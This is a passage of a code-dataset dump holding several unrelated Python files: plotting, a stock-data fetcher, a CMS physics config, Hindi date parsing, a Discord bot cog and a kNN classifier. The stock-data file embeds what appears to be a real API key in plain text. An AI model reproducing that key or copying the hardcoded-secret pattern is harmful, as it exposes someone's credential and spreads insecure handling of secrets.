scale=2.0)\nbta5 = beta_dist(loc=2.0, scale=5.0)\n\nfig, ax = plt.subplots(1, 1)\nplt.axis([0.0, 1.0, 0.0, 2.5])\nax.set_autoscale_on(False)\n\nx = np.linspace(0.01, 1.0, 200)\nplt.plot(x, bta1.pdf(x), 'r-', lw=1, alpha=0.8, label='beta (0.5,0.5)')\nplt.plot(x, bta2.pdf(x), 'm-', lw=1, alpha=0.8, label='beta (5,1)')\nplt.plot(x, bta3.pdf(x), 'g-', lw=1, alpha=0.8, label='beta (1,3)')\nplt.plot(x, bta4.pdf(x), 'k-', lw=1, alpha=0.8, label='beta (2,2)')\nplt.plot(x, bta5.pdf(x), 'y-', lw=1, alpha=0.8, label='beta (2,5)')\n\n# legend\nlegend = plt.legend(loc='upper right')\nplt.xlabel('x')\nplt.ylabel('pdf')\nplt.title('pdf of Beta Distribution')\nplt.show()\n","sub_path":"distributions/beta_dist.py","file_name":"beta_dist.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"470452336","text":"import pandas as pd\nfrom twelvedata import TDClient\n\nAPI_KEY = '228c71b89637460fb89a723c380d16ff'\nTICKER = 'AAPL'\nTIME_INTERVAL = '1min'\n\ntd = TDClient(apikey=API_KEY)\n\n#Change the symbol of the ticker here\nts = td.time_series(\n symbol= TICKER,\n interval= TIME_INTERVAL,\n timezone=\"America/New_York\"\n)\n\ndata= ts.with_macd().with_macd(fast_period=10).with_stoch().as_pandas()\n\ndef get_data():\n return { \"datetime\": data['datetime'], \"macd\": data['macd_1'], \"macd_signal\": data['macd_signal_1'], \"macd_hist\": data['macd_hist_1'] }","sub_path":"Task3/twelvedata_api/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"385639938","text":"class Solution:\n def permuteUnique(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n res=[]\n nums.sort()\n self.dfs(res, nums, 0)\n return res\n \n def dfs(self, res, nums, start):\n if start==len(nums):\n res.append(nums)\n return\n \n for i in range(start, len(nums)):\n if i!=start and nums[i]==nums[start]: continue\n nums[start], nums[i]=nums[i], nums[start]\n self.dfs(res, list(nums), start+1)\n","sub_path":"python/permutations-ii.py","file_name":"permutations-ii.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"470120321","text":"import FWCore.ParameterSet.Config as cms\n\nfrom Configuration.Generator.PythiaUESettings_cfi import *\n\nprocess = cms.Process(\"TEST\")\nprocess.load(\"FWCore.Framework.test.cmsExceptionsFatal_cff\")\nprocess.load(\"SimGeneral.HepPDTESSource.pythiapdt_cfi\")\n#process.load(\"SimGeneral.HepPDTESSource.pdt_cfi\")\n\nprocess.load(\"Configuration.StandardSequences.Services_cff\")\n\nprocess.maxEvents = cms.untracked.PSet(\n input = cms.untracked.int32(100)\n )\n\n\nprocess.RandomNumberGeneratorService = cms.Service(\n \"RandomNumberGeneratorService\",\n generator = cms.PSet(\n initialSeed = cms.untracked.uint32(123456789),\n engineName = cms.untracked.string('HepJamesRandom')\n )\n )\n\nprocess.randomEngineStateProducer = cms.EDProducer(\"RandomEngineStateProducer\")\n\n# The following three lines reduce the clutter of repeated printouts\n# of the same exception message.\nprocess.load(\"FWCore.MessageLogger.MessageLogger_cfi\")\nprocess.MessageLogger.destinations = ['cerr']\nprocess.MessageLogger.statistics = []\nprocess.MessageLogger.fwkJobReports = []\n\n#process.maxEvents = cms.untracked.PSet(input = cms.untracked.int32(50))\n\nprocess.source = cms.Source(\"LHESource\",\n fileNames = cms.untracked.vstring('file:/tmp/bianchi/fermi_events.lhe')\n)\n\nprocess.generator = cms.EDFilter(\n \"Pythia6HadronizerFilter\",\n pythiaHepMCVerbosity = cms.untracked.bool(True),\n maxEventsToPrint = cms.untracked.int32(0),\n pythiaPylistVerbosity = cms.untracked.int32(1),\n comEnergy = cms.double(7000.0),\n PythiaParameters = cms.PSet(\n pythiaUESettingsBlock,\n processParameters = cms.vstring('MSEL=0 ! User defined processes', \n 'PMAS(5,1)=4.4 ! b quark mass',\n 'PMAS(6,1)=172.4 ! t quark mass',\n 'MSTJ(1)=1 ! Fragmentation/hadronization on or off',\n 'MSTP(61)=1 ! Parton showering on or off'),\n # This is a vector of ParameterSet names to be read, in this order\n parameterSets = cms.vstring('pythiaUESettings', \n 'processParameters')\n ),\n jetMatching = cms.untracked.PSet(\n scheme = cms.string(\"Madgraph\"),\n mode = cms.string(\"auto\"),\t# soup, or \"inclusive\" / \"exclusive\"\n MEMAIN_etaclmax = cms.double(5.0),\n MEMAIN_qcut = cms.double(15.0),\n MEMAIN_minjets = cms.int32(0),\n MEMAIN_maxjets = cms.int32(5),\n MEMAIN_showerkt= cms.double(1),\n MEMAIN_excres = cms.string(\"\"),\n outTree_flag = cms.int32(0) \n ) \n )\n\nprocess.GEN = cms.OutputModule(\n \"PoolOutputModule\",\n fileName = cms.untracked.string('testMyProcess.root'),\n SelectEvents = cms.untracked.PSet(SelectEvents = cms.vstring('p'))\n)\n\nprocess.p = cms.Path(process.generator)\nprocess.p1 = cms.Path(process.randomEngineStateProducer)\nprocess.outpath = cms.EndPath(process.GEN)\n\nprocess.schedule = cms.Schedule(process.p, process.p1, process.outpath)\n","sub_path":"Utilities/test/Py6HadFilter_mgmatching_cfg.py","file_name":"Py6HadFilter_mgmatching_cfg.py","file_ext":"py","file_size_in_byte":2950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"447065004","text":"import datetime\nimport difflib\nimport json\nimport os\nimport re\nimport sys\n\nimport textdistance as td\n\nfrom dateparser.search import search_dates\nfrom dateutil.relativedelta import relativedelta\n\ndef get_digits(word):\n if not re.search('\\d+', word):\n # no digits from 0-9\n if not re.search('[०१२३४५६७८९]+', word):\n return -1\n return re.search('[०१२३४५६७८९]+', word).group()\n return re.search('\\d+', word).group()\n\ndef get_month(sent): # Similar to get education\n thresh = 0.65\n possible_words = {'शून्य':0,'एक':1,'दो':2,'तीन':3,'चार':4,'पांच':5,'छः':6,'सात':7,'आठ':8,'नौ':9,'लास्ट':9,'पहला':1,\n 'दूसरा':2,'तीसरा':3,'चौथा':4,'पांचवा':5,'छत्ता':6,'चट्टा':6,'सातवा':7,'आठवा':8,'नौंवा':9,'नवा':9,'शुरू':1,\n 'नाना':9}\n suffix = ['वी','टी','वा']\n general_words = {'हां':1,'हाँ':1,'सब':9,'नहीं':0,'ना':0}\n\n sent = sent.strip()\n words = sent.split()\n for word in words:\n digits = get_digits(word)\n if digits != -1:\n return int(digits)\n for pos_word in possible_words:\n if td.levenshtein.normalized_similarity(pos_word, word) >= thresh:\n return possible_words[pos_word]\n elif td.levenshtein.normalized_similarity(pos_word+suffix[0], word) >= thresh\\\n or td.levenshtein.normalized_similarity(pos_word+suffix[1], word) >= thresh\\\n or td.levenshtein.normalized_similarity(pos_word+suffix[2], word) >= thresh:\n return possible_words[pos_word]\n for gen_word in general_words:\n if gen_word == word: # It is better to have exact match here\n# print(word, gen_word)\n return general_words[gen_word]\n return -1\n\n\n# This function returns 1 for haa, 0 for na and -1 if none present\ndef findYesNo(sentence):\n yesList = ['हां','हाँ']\n noList = [ 'नहीं' , 'ना']\n ans = -1\n for word in sentence.split():\n if word in yesList:\n ans = 1\n break\n elif word in noList:\n ans = 0\n break\n else:\n continue\n \n if ans == -1:\n yesMatchList, noMatchList = [], []\n for word in sentence.split():\n yesMatchList.append(difflib.get_close_matches(word, yesList))\n noMatchList.append(difflib.get_close_matches(word, noList))\n \n if len(noMatchList)!=0 and len(yesMatchList) != 0:\n ans = -1\n elif len(noMatchList)!=0 :\n ans = 0\n elif len(yesMatchList)!=0 :\n ans = 1\n return ans\n else:\n return ans\n\n\ndef findDate(sentence):\n outSentence = {'Date':'-1','Month':'-1','Year':'-1'}\n\n rawMonths=['जनवरी','फरवरी','मार्च','अप्रैल','मई','जून','जुलाई','अगस्त','सितंबर','अक्टूबर','नवंबर','दिसंबर']\n hindiMonths=['चैत्र','बैसाख','ज्येष्ठ','आषाढ़','सावन','भाद्रपद','आश्विन','कार्तिक','अग्रहायण','पौष','माघ','फाल्गुन']\n hindiMonthsDict = {i:j for (j,i) in enumerate(hindiMonths)}\n hindiMonthPrefix=['पहला','दूसरा','तीसरा','चौथा','पांचवां','छठा','सातवां','आठवां','नौवां','दसवां','ग्यारहवां','बारहवां']\n hindiMonthPrefixDict = {i:j for (j,i) in enumerate(hindiMonthPrefix)}\n\n #Now for date and month\n flag=0\n for month in rawMonths:\n if month in sentence:\n outSentence['Month']=month\n flag=1\n break\n\n #Now checking for months in hindi\n if flag==0:\n for month in hindiMonths:\n if month in sentence:\n outSentence['Month']=month #rawMonths[hindiMonthsDict[month]]\n flag=1\n break\n\n item=sentence.replace(\"-\",\" \").split()\n\n #Now for hindi prefix like pehla mahina, dusra mahine, teesra mahina and continued till 12th months\n\n if(len(item)>=2):\n for i in range(len(item)-1):\n if item[i] in hindiMonthPrefix and (item[i+1]=='महीना' or item[i+1] == \"महिना\"):\n if flag==0:\n outSentence['Month'] = rawMonths[hindiMonthPrefixDict[item[i]]] #item[i]\n flag=1\n break\n\n# total+=len(item)\n\n #For Months\n if(len(item)>=2):\n for i in range(len(item)-1):\n if item[i].isdigit() and item[i+1].isdigit() and len(item[i])!=4 and len(item[i+1])!=4:\n if flag==0:\n if (int(item[i+1])) <= 12:\n outSentence['Month'] = rawMonths[int(item[i+1])-1] #item[i+1]\n flag=1\n break\n elif item[i].isdigit() and item[i+1].isdigit() and len(item[i])!=4 and len(item[i+1])==4:\n if flag==0:\n if len(item[i])==1 and int(item[i])!=0:\n outSentence['Month'] = rawMonths[int(item[i])-1] #item[i]\n flag=1\n break\n elif len(item[i])==3:\n if int(item[i][:2]) <= 31 and int(item[i][2]) != 0:\n outSentence['Month'] = rawMonths[int(item[i][2])-1] #item[i][2]\n flag = 1\n break\n elif int(item[i][:2]) <= 31 and int(item[i][2]) == 0:\n if int(item[i][1])==1:\n outSentence['Month'] = rawMonths[int(item[i][1:])-1] #item[i][1:]\n flag = 1\n break\n elif len(item[i])==2:\n if int(item[i])<=12:\n outSentence['Month'] = rawMonths[int(item[i])-1] #item[i]\n flag=1\n break\n else:\n outSentence['Month'] = rawMonths[int(item[i][1])-1] #item[i][1]\n flag = 1\n break\n else:\n z = 2 #dummy\n\n elif item[i].isdigit() and item[i+1].isdigit() and len(item[i])==4 and len(item[i+1])==4:\n if flag==0:\n if int(item[i+1]) <= 2100 and int(item[i+1]) >= 1900:\n if int(item[i][2:]) <= 12:\n outSentence['Month'] = rawMonths[int(item[i][2:])-1] #item[i][2:]\n flag = 1\n break\n else:\n z=2 #Dummy\n\n# if truthMonths[-1]==1:\n# trainMonthOut.append(1)\n# else:\n# trainMonthOut.append(0)\n\n flagDate=0\n if len(item)>=2:\n for i in range(len(item)-1):\n if item[i].isdigit() and item[i+1].isdigit() and len(item[i])!=4 and len(item[i+1])!=4:\n if flagDate==0:\n outSentence['Date'] = item[i]\n flagDate=1\n break\n elif item[i].isdigit() and len(item[i])!=4 and not item[i+1].isdigit() and int(item[i])<32:\n if flagDate==0:\n suppList = [\"साल\",\"महीना\",\"महिना\"]\n if not(item[i+1] in suppList):\n outSentence['Date'] = item[i]\n flagDate=1\n break\n elif item[i].isdigit() and item[i+1].isdigit() and len(item[i])!=4 and len(item[i+1])==4:\n if flagDate==0:\n if len(item[i])==3:\n if int(item[i][:2]) <= 31 and int(item[i][2]) != 0:\n outSentence['Date'] = item[i][:2]\n flagDate = 1\n break\n elif int(item[i][:2]) <= 31 and int(item[i][2]) == 0:\n if int(item[i][1])==1:\n outSentence['Date'] = item[i][0]\n flagDate = 1\n break\n elif len(item[i])==2:\n if int(item[i])<=12:\n z = 2 #Do nothing\n else:\n outSentence['Date'] = item[i][0]\n flagDate = 1\n break\n else:\n z = 2 #dummy\n elif item[i].isdigit() and item[i+1].isdigit() and len(item[i])==4 and len(item[i+1])==4:\n if flagDate==0:\n if int(item[i+1]) <= 2100 and int(item[i+1]) >= 1900:\n if int(item[i][2:]) <= 12:\n outSentence['Date'] = item[i][:2]\n flagDate = 1\n break\n else:\n z=2\n elif len(item) == 1:\n try:\n if type(int(item[0]))==int:\n if int(item[0]) <= 31:\n outSentence['Date'] = item[0]\n flagDate = 1\n except:\n z = 2 # Basically do nothing\n\n ##############################################################################################\n flagYear=0\n for items in sentence.replace(\"-\",\" \").split():\n try:\n if len(items) == 4 and int(items) > 1900 and int(items) < 2100:\n outSentence['Year'] = items\n flagYear=1\n break\n except:\n z=2 #Dummy z\n if flagYear!=1:\n words = sentence.replace(\"-\",\" \").split()\n for i in range(len(words)-2):\n try:\n if (type(int(words[i])) == int) and (type(int(words[i+1]))==int) and (type(int(words[i+2]))==int):\n if len(words[i+2])==2:\n if int(words[i+2]) > 50:\n outSentence['Year'] = \"19\"+words[i+2]\n else:\n outSentence['Year'] = \"20\"+words[i+2]\n flagYear = 1\n break\n except:\n z=2\n if flagYear!=1:\n words = sentence.replace(\"-\",\" \").split()\n for i in range(len(words)-1):\n if words[i] in rawMonths or words[i] in hindiMonths or words[i] in hindiMonthPrefix:\n if words[i+1].isdigit() and len(words[i+1])==2:\n if int(words[i+1])>=50:\n outSentence['Year'] = \"19\"+str(words[i+1])\n else:\n outSentence['Year'] = \"20\"+str(words[i+1])\n flagYear =1\n break\n\n# json_Output = json.dumps(outSentence,ensure_ascii=False)\n return outSentence\n \n\ndef preprocess_date(sent):\n thresh = 0.80\n hi_nums = ['शून्य','एक','दो','तीन','चार','पांच','छः','सात','आठ','नौ','दस','ग्यारह','बारह','तेरह','चौदह',\n 'पंद्रह','सोलह','सत्रह','अट्ठारह','उन्निस','बीस','इक्कीस','बाईस','तेईस','चौबीस','पच्चीस','छब्बीस','सत्ताईस','अट्ठाईस','उनतीस','तीस','इकतीस',\n 'बत्तीस','तैंतीस','चौंतीस','पैंतीस','छ्त्तीस','सैंतीस','अड़तीस','उनतालीस','चालीस','इकतालीस','बयालीस','तैंतालीस','चौंतालीस',\n 'पैंतालीस','छियालीस','सैंतालीस','अड़तालीस','उनचास','पचास','इक्याबन','बावन','तिरेपन','चौबन','पचपन','छप्पन','सत्तावन',\n 'अट्ठावन','उनसठ','साठ','इकसठ','बासठ','तिरसठ','चौंसठ','पैंसठ','छियासठ','सड़सठ','अड़सठ','उनहत्तर','सत्तर','इकहत्तर',\n 'बहत्तर','तिहत्तर','चौहत्तर','पचहत्तर','छिहत्तर','सतहत्तर','अठहत्तर','उनासी','अस्सी','इक्यासी','बयासी','तिरासी','चौरासी',\n 'पचासी','छियासी','सतासी','अठासी' ,'नवासी','नब्बे','इक्यानबे','बानवे','तिरानवे','चौरानवे','पचानवे','छियानवे','सत्तानवे',\n 'अट्ठानवे','निन्यानवे' ,'सौ']\n \n pos_words = {'डेढ़':'1 साल 6 महीना', 'ढाई':'2 साल 6 महीना','डाइट':'2 साल 6 महीना', 'चार्ट':'साल', 'वर्स':'साल',\n 'वर्ष':'साल', 'नव':'9','नाना':'9', 'चैप्टर':'4', 'वाट':'साल'}\n \n words = sent.split(' ')\n out_sent = []\n for idx, word in enumerate(words): \n for pw_idx, pos_word in enumerate(hi_nums):\n if td.levenshtein.normalized_similarity(pos_word, word) >= thresh:\n words[idx] = str(pw_idx)\n for pos_word in pos_words:\n if td.levenshtein.normalized_similarity(pos_word, word) >= thresh:\n words[idx] = pos_words[pos_word]\n \n words = ' '.join(words)\n# print(words)\n return words\n\n\ndef get_age(sent):\n curr_date = datetime.datetime.now()\n\n sent = preprocess_date(sent)\n out = search_dates(sent)\n if out == None and re.search('\\d+', sent) != None:\n idx = re.search('\\d+', sent).end()\n out = search_dates(sent[:idx]+' साल'+sent[idx:])\n out_date = []\n age = []\n if out != None:\n for o in out:\n out_date.append(str(o[1].year) + ' years ' + str(o[1].month) + ' months ' + str(o[1].day) + ' days')\n age_diff = relativedelta(curr_date.date(),o[1].date())\n age.append(str(age_diff.years) + ' years ' + str(age_diff.months) + ' months ' + str(age_diff.days) + ' days ')\n return age\n","sub_path":"voice_survey_android_app/voicebotserver/vsurvey/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":15220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"524627502","text":"import asyncio\nimport os\nimport random\nimport sys\n\nimport aiohttp\nimport discord\nimport yaml\nfrom discord.ext import commands\nfrom discord.ext.commands import BucketType\n\nif not os.path.isfile(\"config.yaml\"):\n sys.exit(\"'config.yaml' not found! Please add it and try again.\")\nelse:\n with open(\"config.yaml\") as file:\n config = yaml.load(file, Loader=yaml.FullLoader)\n\n\nclass Fun(commands.Cog, name=\"fun\"):\n def __init__(self, bot):\n self.bot = bot\n\n \"\"\"\n Why 1 and 86400?\n -> Because the user should be able to use the command *once* every *86400* seconds\n \n Why BucketType.user?\n -> Because the cool down only affects the current user, if you want other types of cool downs, here are they:\n - BucketType.default for a global basis.\n - BucketType.user for a per-user basis.\n - BucketType.server for a per-server basis.\n - BucketType.channel for a per-channel basis.\n \"\"\"\n\n @commands.command(name=\"dailyfact\")\n @commands.cooldown(1, 86400, BucketType.user)\n async def dailyfact(self, context):\n \"\"\"\n Get a daily fact, command can only be ran once every day per user.\n \"\"\"\n # This will prevent your bot from stopping everything when doing a web request - see: https://discordpy.readthedocs.io/en/stable/faq.html#how-do-i-make-a-web-request\n async with aiohttp.ClientSession() as session:\n async with session.get(\"https://uselessfacts.jsph.pl/random.json?language=en\") as request:\n if request.status == 200:\n data = await request.json()\n embed = discord.Embed(description=data[\"text\"], color=config[\"main_color\"])\n await context.send(embed=embed)\n else:\n embed = discord.Embed(\n title=\"Error!\",\n description=\"There is something wrong with the API, please try again later\",\n color=config[\"error\"]\n )\n await context.send(embed=embed)\n # We need to reset the cool down since the user didn't got his daily fact.\n self.dailyfact.reset_cooldown(context)\n\n @commands.command(name=\"rps\")\n async def rock_paper_scissors(self, context):\n choices = {\n 0: \"rock\",\n 1: \"paper\",\n 2: \"scissors\"\n }\n reactions = {\n \"🪨\": 0,\n \"🧻\": 1,\n \"✂\": 2\n }\n embed = discord.Embed(title=\"Please choose\", color=config[\"warning\"])\n embed.set_author(name=context.author.display_name, icon_url=context.author.avatar_url)\n choose_message = await context.send(embed=embed)\n for emoji in reactions:\n await choose_message.add_reaction(emoji)\n\n def check(reaction, user):\n return user == context.message.author and str(reaction) in reactions\n\n try:\n reaction, user = await self.bot.wait_for(\"reaction_add\", timeout=10, check=check)\n\n user_choice_emote = reaction.emoji\n user_choice_index = reactions[user_choice_emote]\n\n bot_choice_emote = random.choice(list(reactions.keys()))\n bot_choice_index = reactions[bot_choice_emote]\n\n result_embed = discord.Embed(color=config[\"success\"])\n result_embed.set_author(name=context.author.display_name, icon_url=context.author.avatar_url)\n await choose_message.clear_reactions()\n\n if user_choice_index == bot_choice_index:\n result_embed.description = f\"**That's a draw!**\\nYou've chosen {user_choice_emote} and I've chosen {bot_choice_emote}.\"\n result_embed.colour = config[\"warning\"]\n elif user_choice_index == 0 and bot_choice_index == 2:\n result_embed.description = f\"**You won!**\\nYou've chosen {user_choice_emote} and I've chosen {bot_choice_emote}.\"\n result_embed.colour = config[\"success\"]\n elif user_choice_index == 1 and bot_choice_index == 0:\n result_embed.description = f\"**You won!**\\nYou've chosen {user_choice_emote} and I've chosen {bot_choice_emote}.\"\n result_embed.colour = config[\"success\"]\n elif user_choice_index == 2 and bot_choice_index == 1:\n result_embed.description = f\"**You won!**\\nYou've chosen {user_choice_emote} and I've chosen {bot_choice_emote}.\"\n result_embed.colour = config[\"success\"]\n else:\n result_embed.description = f\"**I won!**\\nYou've chosen {user_choice_emote} and I've chosen {bot_choice_emote}.\"\n result_embed.colour = config[\"error\"]\n await choose_message.add_reaction(\"🇱\")\n await choose_message.edit(embed=result_embed)\n except asyncio.exceptions.TimeoutError:\n await choose_message.clear_reactions()\n timeout_embed = discord.Embed(title=\"Too late\", color=config[\"error\"])\n timeout_embed.set_author(name=context.author.display_name, icon_url=context.author.avatar_url)\n await choose_message.edit(embed=timeout_embed)\n\n\ndef setup(bot):\n bot.add_cog(Fun(bot))\n","sub_path":"cogs/fun.py","file_name":"fun.py","file_ext":"py","file_size_in_byte":5210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"330184625","text":"#===============================================================================\n# Copyright 2012 Jake Ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#===============================================================================\n\n#============= enthought library imports =======================\nfrom traits.api import Str, List, Instance\nfrom traitsui.api import View, Item\n#============= standard library imports ========================\n#============= local library imports ==========================\nfrom src.loggable import Loggable\nfrom src.arar.nodes.experiment import ExperimentNode\nimport os\nfrom src.graph.graph import Graph\nfrom src.database.core.database_adapter import DatabaseAdapter\n\n\nclass ArArWorkspace(Loggable):\n name = Str('Workspace')\n experiments = List(ExperimentNode)\n root = Str\n current_experiment = Instance(ExperimentNode)\n db = Instance(DatabaseAdapter)\n\n graph = Instance(Graph)\n\n def traits_view(self):\n v = View(\n Item('name', show_label=False, style='readonly'),\n )\n return v\n\n def init(self):\n self.info('initializing workspace {}'.format(self.root))\n if os.path.isdir(self.root):\n pass\n# if self.confirmation_dialog('Overwrite Directory {}'.format(self.root)):\n# pass\n else:\n os.mkdir(self.root)\n\n def new_experiment(self, name, kind):\n klass = '{}Node'.format(kind.capitalize())\n m = __import__('src.arar.nodes.{}'.format(kind), fromlist=[klass])\n cls = getattr(m, klass)\n exp = cls(name=name)\n self.current_experiment = exp\n self.experiments.append(exp)\n return exp\n\n def add_sample(self, sample):\n dbr = sample._db_result\n for ai in dbr.analyses:\n self._add_analysis(ai)\n\n def _add_analysis(self, ref):\n db = self.db\n exp = self.current_experiment\n irrad_pos = db.get_irradiation_position(ref.IrradPosition)\n#\n arar_analysis = ref.araranalyses[-1]\n rid = ref.RID\n kwargs = dict(\n sample=ref.sample.Sample,\n irradiation=irrad_pos.IrradiationLevel,\n age=arar_analysis.Age,\n age_err=arar_analysis.ErrAge\n )\n exp.load_analysis_reference(ref, rid, kwargs)\n\n exp.load_series_reference('airs', ref, rid, kwargs)\n\n\n def add_analyses(self, analyses):\n db = self.db\n for d in analyses:\n ref = db.get_analysis(d.rid)\n self._add_analysis(ref)\n\n# #refresh the plot\n# self._selected_changed()\n def has_node(self, node):\n if node in self.experiments:\n return True\n else:\n for exp in self.experiments:\n if exp.has_node(node):\n return True\n\n#===============================================================================\n# factories\n#===============================================================================\n def _graph_factory(self, shape):\n g = Graph(container_dict=dict(type='g',\n shape=shape,\n bgcolor='gray',\n padding=10\n ),\n )\n return g\n#===============================================================================\n# defaults\n#===============================================================================\n\n def _graph_default(self):\n return self._graph_factory((1, 1))\n#===============================================================================\n# views\n#===============================================================================\n# def configure_view(self):\n# v = View()\n# return v\n\n def graph_view(self):\n v = View(Item('graph',\n show_label=False,\n style='custom'))\n return v\n\n#============= EOF =============================================\n","sub_path":"src/zobs/arar/workspace.py","file_name":"workspace.py","file_ext":"py","file_size_in_byte":4562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"522604011","text":"# Copyright 2021 BlobCity, Inc\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n\n\"\"\"\nThis is a Custom Class to store Class reference data for YAML generation and process logging.\n\"\"\"\nclass DictClass:\n\n YAML=dict()\n ObjectExist= False\n ObjectList=None\n feature_importance=dict()\n def __int__(self):\n self.ObjectExist=False\n self.ObjectList=None\n self.YAML={}\n self.feature_importance=dict()\n def addKeyValue(self, key,value):\n \"\"\"\n param1:Class reference/Class object \n param2: String key\n param3: String value\n\n Function adds new key value pair into the class dictionary object\n \"\"\"\n self.YAML[key]=value\n\n def getdict(self):\n \"\"\"\n return : Dictionary \n\n Function returns the complete dictionary in current state\n \"\"\"\n return self.YAML\n\n def UpdateKeyValue(self,key,value):\n \"\"\"\n param1:class reference\n param2: String key\n param2: String /Dicionary\n\n Function updates a simple Dictionary Key value if the key exists else creates the entry\n \"\"\"\n if key in self.YAML.keys():\n self.YAML[key]=value\n else:\n DictClass.addKeyValue(self, key,value)\n\n def UpdateNestedKeyValue(self,key,key2,value):\n\n \"\"\"\n param1:Class reference\n param2:String key\n param3:String key\n param4:String/Dictionary\n\n Function Updates a nested Dictionary Value if the key exists else creates an entry for the key\n \"\"\"\n if key in self.YAML.keys():\n self.YAML[key][key2]=value\n else:\n self.YAML[key]={}\n self.YAML[key][key2]=value\n \n def resetVar(self):\n \"\"\"\n Function to reset class variables\n \"\"\"\n self.ObjectExist=False\n self.ObjectList=None\n self.YAML={}\n self.feature_importance={}\n \n","sub_path":"blobcity/store/DictClass.py","file_name":"DictClass.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"268582637","text":"import numpy as np\r\nimport math\r\nimport pandas as pd\r\nimport printData as PD_\r\n\r\n# k Nearest Neighbor algorithm\r\n# dfTrain : dataframe for training data\r\n# dfTest : dataframe for test data\r\n# dfTestWeight : weight of each test data column\r\n# caseWeight : weight by number of cases from training data\r\n# targetCol : target column for dfTrain\r\n# targetIndex : index for the target column\r\n# k : number of neighbors\r\n# useAverage : return average value\r\ndef kNN(dfTrain, dfTest, dfTestWeight, caseWeight, targetCol, targetIndex, k, useAverage):\r\n print('')\r\n print('+=======================+')\r\n print('| Function : kNN |')\r\n print('+=======================+')\r\n\r\n print('\\n<<< [17-before] dataFrame for training >>>')\r\n print(dfTrain)\r\n print('\\n<<< [18] dataFrame for test >>>')\r\n print(dfTest)\r\n\r\n # When using kNN, this is the final use of dfTrain and dfTest, so coverting of them does not cause any problem.\r\n # move target column of dfTrain to the most-right of dfTrain\r\n \r\n # find target column index of dfTrain\r\n cols = dfTrain.columns.tolist()\r\n targetColIndex = -1\r\n \r\n for i in range(len(cols)):\r\n if cols[i] == targetCol:\r\n targetColIndex = i\r\n break\r\n\r\n # move target column of dfTrain\r\n cols = cols[:targetColIndex] + cols[targetColIndex+1:] + [cols[targetColIndex]]\r\n dfTrain = dfTrain[cols]\r\n\r\n # count of each value for training data\r\n targetVals = list(set(dfTrain[targetCol].values)) # set of target values\r\n classCount = dfTrain[targetCol].value_counts() # class count for each target value\r\n\r\n print('\\n<<< [17-after] dataFrame for training >>>')\r\n print(dfTrain)\r\n\r\n # convert to numpy array\r\n dfTrain = np.array(dfTrain)\r\n dfTest = np.array(dfTest)\r\n \r\n # kNN classification result\r\n result = []\r\n resultT = [] # transport of result\r\n\r\n # if dfTestWeight is None, use equal weight for all test columns\r\n if dfTestWeight == None: dfTestWeight = [1]*len(dfTest[0])\r\n\r\n # mark the result using k-nearest neighbor\r\n for i in range(len(dfTest)): # for each test data\r\n if i % 10 == 0: print('test data ' + str(i))\r\n \r\n thisTestData = dfTest[i]\r\n\r\n # [distance between the test data and each training data, mark]\r\n distAndMark = []\r\n\r\n # for each training data\r\n for j in range(len(dfTrain)):\r\n \r\n thisTrainData = dfTrain[j]\r\n\r\n # calculate distance (using the weight) from the test data\r\n thisDistSquare = 0\r\n \r\n for l in range(len(dfTest[0])): # because test data contain all input columns\r\n\r\n if l == targetIndex: continue\r\n\r\n thisTestData[l] = float(thisTestData[l])\r\n thisTrainData[l] = float(thisTrainData[l])\r\n \r\n thisDistSquare = thisDistSquare + dfTestWeight[l] * pow(thisTestData[l] - thisTrainData[l], 2)\r\n\r\n # add to distAndMark (now, train output is at the right end of each training data row)\r\n distAndMark.append([math.sqrt(thisDistSquare), thisTrainData[len(thisTrainData)-1]])\r\n\r\n # sort distAndMark array\r\n distAndMark = sorted(distAndMark, key=lambda x:x[0], reverse=False)\r\n\r\n # count the vote for each class (using weight = len(dfTrain)/trainCount)\r\n vote = {} # vote result for each class: [class targetVals[j], vote score of targetVals[j]]\r\n for j in range(len(classCount)): vote[targetVals[j]] = 0 # initialize dictionary vote\r\n\r\n for j in range(k): # count the vote using k nearest neighbors\r\n thisMark = distAndMark[j][1] # mark of this 'neighbor'\r\n if caseWeight == True: vote[thisMark] = vote[thisMark] + len(dfTrain) / classCount[thisMark]\r\n else: vote[thisMark] = vote[thisMark] + 1\r\n\r\n # use average vote value\r\n if useAverage == True:\r\n sumOfVote = 0.0 # sum of (vote weight)\r\n sumOfKeyVal = 0.0 # sum of (key value)*(vote weight)\r\n \r\n for key in vote.keys():\r\n sumOfVote += float(vote[key])\r\n sumOfKeyVal += float(key) * float(vote[key])\r\n\r\n avgVoteVal = sumOfKeyVal / sumOfVote\r\n\r\n # append the average vote result (=prediction) to result array\r\n result.append(avgVoteVal)\r\n resultT.append([avgVoteVal])\r\n\r\n # find max-voted item\r\n 